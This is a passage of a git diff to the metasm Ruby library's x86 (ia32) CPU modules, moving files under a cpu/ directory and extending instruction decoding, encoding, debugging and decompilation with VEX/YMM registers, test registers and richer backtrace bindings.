lib/metasm/metasm/cpu/ia32/debug.rb index 26c08dfe39..952c72fb47 100644 --- a/lib/metasm/metasm/ia32/debug.rb +++ b/lib/metasm/metasm/cpu/ia32/debug.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/opcodes' +require 'metasm/cpu/ia32/opcodes' module Metasm class Ia32 @@ -18,7 +18,7 @@ class Ia32 @dbg_register_flags ||= :eflags end - def dbg_register_list + def dbg_register_list @dbg_register_list ||= [:eax, :ebx, :ecx, :edx, :esi, :edi, :ebp, :esp, :eip] end @@ -46,10 +46,10 @@ class Ia32 end def dbg_enable_singlestep(dbg) - dbg_set_flag(dbg, :t) + dbg_set_flag(dbg, :t) if dbg_get_flag(dbg, :t) == 0 end def dbg_disable_singlestep(dbg) - dbg_unset_flag(dbg, :t) + dbg_unset_flag(dbg, :t) if dbg_get_flag(dbg, :t) != 0 end def dbg_enable_bp(dbg, bp) @@ -113,20 +113,20 @@ class Ia32 if dbg[:dr6] == 0 and dbg[:dr7] == 0 dbg[:dr7] = 0x10000 # some OS (eg Windows) only return dr6 if dr7 != 0 end - dbg[:dr6] = 0 + dbg[:dr6] = 0 if dbg[:dr6] & 0x400f != 0 end def dbg_evt_bpx(dbg, b) if b.address == dbg.pc-1 dbg.pc -= 1 end - end + end def dbg_find_bpx(dbg) return if dbg[:dr6] & 0x4000 != 0 pc = dbg.pc dbg.breakpoint[pc-1] || dbg.breakpoint[pc] - end + end def dbg_find_hwbp(dbg) dr6 = dbg[:dr6] diff --git a/lib/metasm/metasm/ia32/decode.rb b/lib/metasm/metasm/cpu/ia32/decode.rb similarity index 82% rename from lib/metasm/metasm/ia32/decode.rb rename to lib/metasm/metasm/cpu/ia32/decode.rb index 393e298932..de90f087d5 100644 --- a/lib/metasm/metasm/ia32/decode.rb +++ b/lib/metasm/metasm/cpu/ia32/decode.rb @@ -4,13 +4,13 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/opcodes' +require 'metasm/cpu/ia32/opcodes' require 'metasm/decode' module Metasm class Ia32 class ModRM - def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg) + def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg, h = {}) m = (byte >> 6) & 3 rm = byte & 7 @@ -28,7 +28,11 @@ class Ia32 b = Reg.new(a, adsz) else s = 1 - i = Reg.new(a, adsz) + if h[:mrmvex] + i = SimdReg.new(a, h[:mrmvex]) + else + i = Reg.new(a, adsz) + end end when :sib @@ -37,7 +41,11 @@ class Ia32 ii = ((sib >> 3) & 7) if ii != 4 s = 1 << ((sib >> 6) & 3) - i = Reg.new(ii, adsz) + if h[:mrmvex] + i = SimdReg.new(ii, h[:mrmvex]) + else + i = Reg.new(ii, adsz) + end end bb = sib & 7 @@ -52,11 +60,12 @@ class Ia32 end } - if imm and imm.reduce.kind_of? Integer and imm.reduce < -0x10_0000 + if imm and ir = imm.reduce and ir.kind_of?(Integer) and ir < 0 and (ir < -0x10_0000 or (!b and !i)) # probably a base address -> unsigned imm = Expression[imm.reduce & ((1 << (adsz || 32)) - 1)] end + opsz = h[:argsz] if h[:argsz] new adsz, opsz, s, i, b, imm, seg end end @@ -90,18 +99,19 @@ class Ia32 msk = op.bin_mask[0] for i in b..(b | (255^msk)) - next if i & msk != b & msk - lookaside[i] << op + lookaside[i] << op if i & msk == b & msk end } lookaside end def decode_prefix(instr, byte) - # XXX check multiple occurences ? instr.prefix ||= {} (instr.prefix[:list] ||= []) << byte + # XXX actual limit = 15-instr.length + return false if instr.prefix[:list].length >= 15 + case byte when 0x66; instr.prefix[:opsz] = true when 0x67; instr.prefix[:adsz] = true @@ -115,8 +125,6 @@ class Ia32 v = byte & 7 end instr.prefix[:seg] = SegReg.new(v) - - instr.prefix[:jmphint] = ((byte & 0x10) == 0x10) else return false end @@ -131,11 +139,10 @@ class Ia32 while edata.ptr < edata.data.length pfx = di.instruction.prefix || {} byte = edata.data[edata.ptr] - byte = byte.unpack('C').first if byte.kind_of? ::String # 1.9 + byte = byte.unpack('C').first if byte.kind_of?(::String) return di if di.opcode = @bin_lookaside[byte].find { |op| # fetch the relevant bytes from edata bseq = edata.data[edata.ptr, op.bin.length].unpack('C*') - di.opcode = op if op.props[:opsz] # needed by opsz(di) # check against full opcode mask op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } and @@ -145,12 +152,17 @@ class Ia32 (fld = op.fields[:seg2A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg2A] == 1) or (fld = op.fields[:seg3A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3A] < 4) or (fld = op.fields[:seg3A] || op.fields[:seg3] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3] > 5) or - (fld = op.fields[:modrmA] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or - (sz = op.props[:opsz] and opsz(di) != sz) or + (op.props[:modrmA] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or + (op.props[:modrmR] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 != 0xC0) or + (fld = op.fields[:vex_vvvv] and @size != 64 and (bseq[fld[0]] >> fld[1]) & @fields_mask[:vex_vvvv] < 8) or + (sz = op.props[:opsz] and opsz(di, op) != sz) or + (sz = op.props[:adsz] and adsz(di, op) != sz) or (ndpfx = op.props[:needpfx] and not pfx[:list].to_a.include? ndpfx) or + (pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size) or # return non-ambiguous opcode (eg push.i16 in 32bit mode) / sync with addop_post in opcode.rb - (pfx[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret') and not op.props[:opsz]) or - (pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size) + (pfx[:opsz] and not op.props[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name == 'ret')) or + (pfx[:adsz] and not op.props[:adsz] and (op.props[:strop] or op.props[:stropz] or op.args.include?(:mrm_imm) or op.args.include?(:modrm) or op.name =~ /loop|xlat/)) or + (op.name == 'nop' and op.bin[0] == 0x90 and di.instruction.prefix and di.instruction.prefix[:rex_b]) ) } @@ -172,39 +184,50 @@ class Ia32 when 0xF2, 0xF3; pfx.delete :rep end + if op.props[:setip] and not op.props[:stopexec] and pfx[:seg] + case pfx.delete(:seg).val + when 1; pfx[:jmphint] = 'hintnojmp' + when 3; pfx[:jmphint] = 'hintjmp' + end + end + field_val = lambda { |f| if fld = op.fields[f] (bseq[fld[0]] >> fld[1]) & @fields_mask[f] end } - opsz = opsz(di) + opsz = op.props[:argsz] || opsz(di) + adsz = (pfx[:adsz] ? 48 - @size : @size) - if pfx[:adsz] - adsz = 48 - @size - else - adsz = @size - end - - mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64) + mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64) op.args.each { |a| di.instruction.args << case a when :reg; Reg.new field_val[a], opsz when :eeec; CtrlReg.new field_val[a] when :eeed; DbgReg.new field_val[a] + when :eeet; TstReg.new field_val[a] when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a] when :regfp; FpReg.new field_val[a] when :regmmx; SimdReg.new field_val[a], mmxsz when :regxmm; SimdReg.new field_val[a], 128 + when :regymm; SimdReg.new field_val[a], 256 when :farptr; Farptr.decode edata, @endianness, opsz when :i8, :u8, :u16; Expression[edata.decode_imm(a, @endianness)] when :i; Expression[edata.decode_imm("#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym, @endianness)] - when :mrm_imm; ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx[:seg] - when :modrm, :modrmA; ModRM.decode edata, field_val[a], @endianness, adsz, opsz, pfx[:seg] - when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx[:seg], SimdReg - when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx[:seg], SimdReg + when :mrm_imm; ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx.delete(:seg) + when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg) + when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz] + when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex] + when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex] + + when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz) + when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128) + when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256) + when :i4xmm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 128) + when :i4ymm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 256) when :imm_val1; Expression[1] when :imm_val3; Expression[3] @@ -218,6 +241,8 @@ class Ia32 di.bin_length += edata.ptr - before_ptr + return false if edata.ptr > edata.length + if op.name == 'movsx' or op.name == 'movzx' if di.opcode.props[:argsz] == 8 di.instruction.args[1].sz = 8 @@ -229,9 +254,10 @@ class Ia32 else di.instruction.args[0].sz = @size end + elsif op.name == 'crc32' + di.instruction.args[0].sz = 32 end - pfx.delete :seg case pfx.delete(:rep) when :nz if di.opcode.props[:strop] @@ -254,7 +280,7 @@ class Ia32 # adds the eip delta to the offset +off+ of the instruction (may be an Expression) + its bin_length # do not call twice on the same di ! def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname[0, 3] != 'ret' + if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname !~ /^i?ret/ delta = di.instruction.args.last.reduce arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce di.instruction.args[-1] = Expression[arg] @@ -303,11 +329,16 @@ class Ia32 end def backtrace_binding=(b) @backtrace_binding = b end - def opsz(di) - ret = @size - ret = di.opcode.props[:argsz] if di and di.opcode.props[:argsz] - ret = 48 - ret if di and not di.opcode.props[:argsz] and di.instruction.prefix and di.instruction.prefix[:opsz] - ret + def opsz(di, op=nil) + if di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 48-@size + else @size + end + end + + def adsz(di, op=nil) + if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 48-@size + else @size + end end # populate the @backtrace_binding hash with default values @@ -315,13 +346,20 @@ class Ia32 @backtrace_binding ||= {} eax, ecx, edx, ebx, esp, ebp, esi, edi = register_symbols + ebx = ebx mask = lambda { |di| (1 << opsz(di))-1 } # 32bits => 0xffff_ffff sign = lambda { |v, di| Expression[[[v, :&, mask[di]], :>>, opsz(di)-1], :'!=', 0] } opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| binding = case op - when 'mov', 'movsx', 'movzx', 'movsxd', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'mov', 'movzx', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'movsx', 'movsxd' + lambda { |di, a0, a1| + sz1 = di.instruction.args[1].sz + sign1 = Expression[[a1, :>>, sz1-1], :&, 1] + { a0 => Expression[[a1, :|, [sign1, :*, (-1 << sz1)]], :&, mask[di]] } + } when 'lea'; lambda { |di, a0, a1| { a0 => a1.target } } when 'xchg'; lambda { |di, a0, a1| { a0 => Expression[a1], a1 => Expression[a0] } } when 'add', 'sub', 'or', 'xor', 'and', 'pxor', 'adc', 'sbb' @@ -360,7 +398,7 @@ class Ia32 when 'pop' lambda { |di, a0| { esp => Expression[esp, :+, opsz(di)/8], a0 => Indirection[esp, opsz(di)/8, di.address] } } - when 'pushfd' + when 'pushfd', 'pushf' # TODO Unknown per bit lambda { |di| efl = Expression[0x202] @@ -370,8 +408,8 @@ class Ia32 bts[7, :eflag_s] bts[11, :eflag_o] { esp => Expression[esp, :-, opsz(di)/8], Indirection[esp, opsz(di)/8, di.address] => efl } - } - when 'popfd' + } + when 'popfd', 'popf' lambda { |di| bt = lambda { |pos| Expression[[Indirection[esp, opsz(di)/8, di.address], :>>, pos], :&, 1] } { esp => Expression[esp, :+, opsz(di)/8], :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7], :eflag_o => bt[11] } } when 'sahf' @@ -409,9 +447,25 @@ class Ia32 ret } when 'call' - lambda { |di, a0| { esp => Expression[esp, :-, opsz(di)/8], - Indirection[esp, opsz(di)/8, di.address] => Expression[di.next_addr] } } + lambda { |di, a0| + sz = opsz(di)/8 + if a0.kind_of? Farptr + { esp => Expression[esp, :-, 2*sz], + Indirection[esp, sz, di.address] => Expression[di.next_addr], + Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } + else + { esp => Expression[esp, :-, sz], + Indirection[esp, sz, di.address] => Expression[di.next_addr] } + end + } + when 'callf' + lambda { |di, a0| + sz = opsz(di)/8 + { esp => Expression[esp, :-, 2*sz], + Indirection[esp, sz, di.address] => Expression[di.next_addr], + Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } } when 'ret'; lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/8, :+, a[0] || 0]] } } + when 'retf';lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/4, :+, a[0] || 0]] } } when 'loop', 'loopz', 'loopnz'; lambda { |di, a0| { ecx => Expression[ecx, :-, 1] } } when 'enter' lambda { |di, a0, a1| @@ -424,7 +478,7 @@ class Ia32 (1..depth).each { |i| b[Indirection[[esp, :+, a0.reduce+i*sz], sz, di.address]] = b[Indirection[[ebp, :-, i*sz], sz, di.address]] = - Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address] + Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address] } b } @@ -432,18 +486,43 @@ class Ia32 when 'aaa'; lambda { |di| { eax => Expression::Unknown, :incomplete_binding => Expression[1] } } when 'imul' lambda { |di, *a| - # 1 operand form == same as 'mul' (ax:dx stuff) - next { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } if not a[1] + if not a[1] + # 1 operand from: store result in edx:eax + bd = {} + m = mask[di] + s = opsz(di) + e = Expression[Expression.make_signed(Expression[a[0], :&, m], s), :*, Expression.make_signed(Expression[eax, :&, m], s)] + if s == 8 + bd[Expression[eax, :&, 0xffff]] = e + else + bd[Expression[eax, :&, m]] = Expression[e, :&, m] + bd[Expression[edx, :&, m]] = Expression[[e, :>>, opsz(di)], :&, m] + end + # XXX eflags? + next bd + end if a[2]; e = Expression[a[1], :*, a[2]] else e = Expression[[a[0], :*, a[1]], :&, (1 << (di.instruction.args.first.sz || opsz(di))) - 1] end { a[0] => e } } - when 'mul', 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } + when 'mul' + lambda { |di, *a| + m = mask[di] + e = Expression[a, :*, [eax, :&, m]] + if opsz(di) == 8 + { Expression[eax, :&, 0xffff] => e } + else + { Expression[eax, :&, m] => Expression[e, :&, m], + Expression[edx, :&, m] => Expression[[e, :>>, opsz(di)], :&, m] } + end + } + when 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } when 'rdtsc'; lambda { |di| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } when /^(stos|movs|lods|scas|cmps)[bwd]$/ - lambda { |di| + lambda { |di, *a| + next {:incomplete_binding => 1} if di.opcode.args.include?(:regxmm) # XXX movsd xmm0, xmm1... op =~ /^(stos|movs|lods|scas|cmps)([bwd])$/ e_op = $1 sz = { 'b' => 1, 'w' => 2, 'd' => 4 }[$2] @@ -503,7 +582,7 @@ class Ia32 ret } when 'fstenv', 'fnstenv' - lambda { |di, a0| + lambda { |di, a0| # stores the address of the last non-control fpu instr run lastfpuinstr = di.block.list[0...di.block.list.index(di)].reverse.find { |pdi| case pdi.opcode.name @@ -532,7 +611,8 @@ class Ia32 a0 => Expression[a0, :^, [1, :<<, [a1, :%, opsz(di)]]] } } when 'bswap' lambda { |di, a0| - if opsz(di) == 64 + case opsz(di) + when 64 { a0 => Expression[ [[[[a0, :&, 0xff000000_00000000], :>>, 56], :|, [[a0, :&, 0x00ff0000_00000000], :>>, 40]], :|, @@ -542,12 +622,15 @@ class Ia32 [[a0, :&, 0x00000000_00ff0000], :<<, 24]], :|, [[[a0, :&, 0x00000000_0000ff00], :<<, 40], :|, [[a0, :&, 0x00000000_000000ff], :<<, 56]]]] } - else # XXX opsz != 32 => undef + when 32 { a0 => Expression[ [[[a0, :&, 0xff000000], :>>, 24], :|, [[a0, :&, 0x00ff0000], :>>, 8]], :|, [[[a0, :&, 0x0000ff00], :<<, 8], :|, [[a0, :&, 0x000000ff], :<<, 24]]] } + when 16 + # bswap ax => mov ax, 0 + { a0 => 0 } end } when 'nop', 'pause', 'wait', 'cmp', 'test'; lambda { |di, *a| {} } @@ -672,6 +755,30 @@ class Ia32 end end + # patch a forward binding from the backtrace binding + # fixes fwdemu for push/pop/call/ret + def fix_fwdemu_binding(di, fbd) + if di.instruction.args.grep(ModRM).find { |m| m.seg and m.symbolic(di).target.lexpr =~ /^segment_base_/ } + fbd = fbd.dup + fbd[:incomplete_binding] = Expression[1] + end + + case di.opcode.name + when 'push', 'call' + fbd = fbd.dup + sz = opsz(di)/8 + esp = register_symbols[4] + if i = fbd.delete(Indirection[esp, sz]) + fbd[Indirection[[esp, :-, sz], sz]] = i + end + when 'pop', 'ret' # nothing to do + when /^(push|pop|call|ret|enter|leave|stos|movs|lods|scas|cmps)/ + fbd = fbd.dup + fbd[:incomplete_binding] = Expression[1] # TODO + end + fbd + end + def get_xrefs_x(dasm, di) return [] if not di.opcode.props[:setip] @@ -680,8 +787,8 @@ class Ia32 when 'ret'; return [Indirection[register_symbols[4], sz/8, di.address]] when 'jmp', 'call' a = di.instruction.args.first - if dasm and a.kind_of?(ModRM) and a.imm and a.s == sz/8 and not a.b and dasm.get_section_at(a.imm) - return get_xrefs_x_jmptable(dasm, di, a, sz) + if dasm and a.kind_of?(ModRM) and a.imm and (a.s == sz/8 or a.s == 4) and not a.b and dasm.get_section_at(a.imm) + return get_xrefs_x_jmptable(dasm, di, a, a.s*8) end end @@ -721,6 +828,19 @@ class Ia32 } l = dasm.auto_label_at(mrm.imm, 'jmp_table', 'xref') replace_instr_arg_immediate(di.instruction, mrm.imm, Expression[l]) + # add 'case 1' comments + cases = {} + ret.each_with_index { |ind, idx| + idx -= 1 # ret[0] = symbolic + next if idx < 0 + a = dasm.backtrace(ind, di.address) + if a.length == 1 and a[0].kind_of?(Expression) and addr = a[0].reduce and addr.kind_of?(::Integer) + (cases[addr] ||= []) << idx + end + } + cases.each { |addr, list| + dasm.add_comment(addr, "case #{list.join(', ')}:") + } return ret end @@ -732,7 +852,7 @@ class Ia32 s = dasm.get_section_at(mrm.imm) v = 0 end - loop do + while s[0].ptr < s[0].length ptr = dasm.normalize s[0].decode_imm("u#{sz}".to_sym, @endianness) diff = Expression[ptr, :-, di.address].reduce if (diff.kind_of? ::Integer and diff.abs < 4096) or (di.opcode.basename == 'call' and ptr != 0 and dasm.get_section_at(ptr)) @@ -1161,5 +1281,46 @@ class Ia32 binding end + + # trace the stack pointer register across a function, rename occurences of esp+XX to esp+var_XX + def name_local_vars(dasm, funcaddr) + esp = register_symbols[4] + func = dasm.function[funcaddr] + subs = [] + dasm.trace_function_register(funcaddr, esp => 0) { |di, r, off, trace| + next if r.to_s =~ /flag/ + if di.opcode.name == 'call' and tf = di.block.to_normal.find { |t| dasm.function[t] and dasm.function[t].localvars } + subs << [trace[esp], dasm.function[tf].localvars] + end + di.instruction.args.grep(ModRM).each { |mrm| + b = mrm.b || (mrm.i if mrm.s == 1) + # its a modrm => b is read, so ignore r/off (not yet applied), use trace only + stackoff = trace[b.symbolic] if b + next if not stackoff + imm = mrm.imm || Expression[0] + frameoff = imm + stackoff + if frameoff.kind_of?(::Integer) + # XXX register args ? non-ABI standard register args ? (eg optimized x64) + str = 'var_%X' % (-frameoff) + str = 'arg_%X' % (frameoff-@size/8) if frameoff > 0 + str = func.get_localvar_stackoff(frameoff, di, str) if func + imm = imm.expr if imm.kind_of?(ExpressionString) + mrm.imm = ExpressionString.new(imm, str, :stackvar) + end + } + off = off.reduce if off.kind_of?(Expression) + next unless off.kind_of?(Integer) + off + } + # if subfunctions are called at a fixed stack offset, rename var_3c -> subarg_0 + if func and func.localvars and not subs.empty? and subs.all? { |sb| sb[0] == subs.first[0] } + func.localvars.each { |varoff, varname| + subargnames = subs.map { |o, sb| sb[varoff-o+@size/8] }.compact + if subargnames.uniq.length == 1 + varname.replace 'sub'+subargnames[0] + end + } + end + end end end diff --git a/lib/metasm/metasm/ia32/decompile.rb b/lib/metasm/metasm/cpu/ia32/decompile.rb similarity index 98% rename from lib/metasm/metasm/ia32/decompile.rb rename to lib/metasm/metasm/cpu/ia32/decompile.rb index dd2dad6e88..06035defd7 100644 --- a/lib/metasm/metasm/ia32/decompile.rb +++ b/lib/metasm/metasm/cpu/ia32/decompile.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/main' +require 'metasm/cpu/ia32/main' module Metasm class Ia32 @@ -52,7 +52,7 @@ class Ia32 # returns { blockaddr => [list of vars that are needed by a following block] } def decompile_func_finddeps(dcmp, blocks, func) deps_r = {} ; deps_w = {} ; deps_to = {} - deps_subfunc = {} # things read/written by subfuncs + deps_subfunc = {} # things read/written by subfuncs # find read/writes by each block blocks.each { |b, to| @@ -70,7 +70,7 @@ class Ia32 end } a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI - + deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b] deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] } @@ -121,7 +121,7 @@ class Ia32 end } a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI - + next true if (a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - bw).include? r bw |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] false @@ -290,7 +290,7 @@ class Ia32 # mov cr0 etc a1, a2 = di.instruction.args case a1 - when Ia32::CtrlReg, Ia32::DbgReg, Ia32::SegReg + when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg sz = a1.kind_of?(Ia32::SegReg) ? 16 : 32 if not dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"] dcmp.c_parser.parse("void intrinsic_set_#{a1}(__int#{sz});") @@ -302,7 +302,7 @@ class Ia32 next end case a2 - when Ia32::CtrlReg, Ia32::DbgReg, Ia32::SegReg + when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg if not dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"] sz = a2.kind_of?(Ia32::SegReg) ? 16 : 32 dcmp.c_parser.parse("__int#{sz} intrinsic_get_#{a2}(void);") @@ -369,7 +369,7 @@ class Ia32 # to.delete addr # next if not l = dcmp.dasm.get_label_at(addr) # sw.body.statements << C::Goto.new(l) - # } + # } # stmts << sw a = di.instruction.args.first if a.kind_of? Expression @@ -512,9 +512,9 @@ class Ia32 dcmp.dasm.decoded[b_].block.list.each { |di| di.backtrace_binding = nil } - } + } end - + def decompile_check_abi(dcmp, entry, func) a = func.type.args || [] a.delete_if { |arg| arg.has_attribute_var('register') and arg.has_attribute('unused') } diff --git a/lib/metasm/metasm/ia32/encode.rb b/lib/metasm/metasm/cpu/ia32/encode.rb similarity index 90% rename from lib/metasm/metasm/ia32/encode.rb rename to lib/metasm/metasm/cpu/ia32/encode.rb index 89f044e263..bda4feb6b9 100644 --- a/lib/metasm/metasm/ia32/encode.rb +++ b/lib/metasm/metasm/cpu/ia32/encode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/opcodes' +require 'metasm/cpu/ia32/opcodes' require 'metasm/encode' module Metasm @@ -195,27 +195,28 @@ class Ia32 case k when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v] when :lock; 0xf0 - when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] # TODO + when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] + when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v] + when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val] end }.compact.pack 'C*' - pfx << op.props[:needpfx] if op.props[:needpfx] if op.name == 'movsx' or op.name == 'movzx' pfx << 0x66 if size == 48-i.args[0].sz + elsif op.name == 'crc32' + pfx << 0x66 if size == 48-i.args[1].sz else opsz = op.props[:argsz] oi.each { |oa, ia| case oa - when :reg, :reg_eax, :modrm, :modrmA, :mrm_imm + when :reg, :reg_eax, :modrm, :mrm_imm raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz opsz = ia.sz end } - pfx << 0x66 if (not op.props[:argsz] or opsz != op.props[:argsz]) and ( - (opsz and size == 48 - opsz) or (op.props[:opsz] and op.props[:opsz] != size)) - if op.props[:opsz] and size == 48 - op.props[:opsz] - opsz = op.props[:opsz] - end + pfx << 0x66 if (op.props[:opsz] and size == 48 - op.props[:opsz]) or + (not op.props[:argsz] and opsz and size == 48 - opsz) + opsz ||= op.props[:opsz] end opsz ||= size @@ -226,7 +227,7 @@ class Ia32 adsz ||= size # addrsize override / segment override if mrm = i.args.grep(ModRM).first - if not op.props[:adsz] and ((mrm.b and mrm.b.sz != adsz) or (mrm.i and mrm.i.sz != adsz)) + if not op.props[:adsz] and ((mrm.b and mrm.b.sz == 48 - adsz) or (mrm.i and mrm.i.sz == 48 - adsz)) pfx << 0x67 adsz = 48 - adsz end @@ -240,10 +241,12 @@ class Ia32 postponed = [] oi.each { |oa, ia| case oa - when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :regfp, :regmmx, :regxmm + when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm # field arg set_field[oa, ia.val] pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128 + when :vexvreg, :vexvxmm, :vexvymm + set_field[:vex_vvvv, ia.val ^ 0xf] when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0 # implicit else @@ -251,7 +254,7 @@ class Ia32 end } - if !(op.args & [:modrm, :modrmA, :modrmxmm, :modrmmmx]).empty? + if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty? # reg field of modrm regval = (base[-1] >> 3) & 7 base.pop @@ -265,6 +268,8 @@ class Ia32 postponed.first[1] = Expression[target, :-, postlabel] end + pfx << op.props[:needpfx] if op.props[:needpfx] + # # append other arguments # @@ -273,7 +278,7 @@ class Ia32 postponed.each { |oa, ia| case oa when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym) - when :modrm, :modrmA, :modrmmmx, :modrmxmm + when :modrm, :modrmmmx, :modrmxmm, :modrmymm if ia.kind_of? ModRM ed = ia.encode(regval, @endianness) if ed.kind_of?(::Array) @@ -295,6 +300,7 @@ class Ia32 when :mrm_imm; ed = ia.imm.encode("a#{adsz}".to_sym, @endianness) when :i8, :u8, :u16; ed = ia.encode(oa, @endianness) when :i; ed = ia.encode("a#{opsz}".to_sym, @endianness) + when :i4xmm, :i4ymm; ed = ia.val << 4 # u8 else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}" end diff --git a/lib/metasm/metasm/ia32/main.rb b/lib/metasm/metasm/cpu/ia32/main.rb similarity index 78% rename from lib/metasm/metasm/ia32/main.rb rename to lib/metasm/metasm/cpu/ia32/main.rb index 3993da8994..ac2fc115ba 100644 --- a/lib/metasm/metasm/ia32/main.rb +++ b/lib/metasm/metasm/cpu/ia32/main.rb @@ -34,6 +34,10 @@ class Ia32 < CPU @val = v end + def ==(o) + self.class == o.class and val == o.val + end + def self.from_str(s) new(@s_to_i[s]) end } end @@ -53,13 +57,16 @@ class Ia32 < CPU @sz = sz end + def ==(o) + self.class == o.class and val == o.val and sz == o.sz + end + def self.from_str(s) raise "Bad #{name} #{s.inspect}" if not x = @s_to_i[s] new(*x) end } end - end @@ -78,15 +85,21 @@ class Ia32 < CPU simple_map((0..7).map { |i| [i, "cr#{i}"] }) end + # test registers (tr0..tr7) (undocumented) + class TstReg < Argument + simple_map((0..7).map { |i| [i, "tr#{i}"] }) + end + # floating point registers class FpReg < Argument simple_map((0..7).map { |i| [i, "ST(#{i})"] } << [nil, 'ST']) end - # a single operation multiple data register (mm0..mm7, xmm0..xmm7) + # Single Instr Multiple Data register (mm0..mm7, xmm0..xmm7, ymm0..ymm7) class SimdReg < Argument double_map 64 => (0..7).map { |n| "mm#{n}" }, - 128 => (0..7).map { |n| "xmm#{n}" } + 128 => 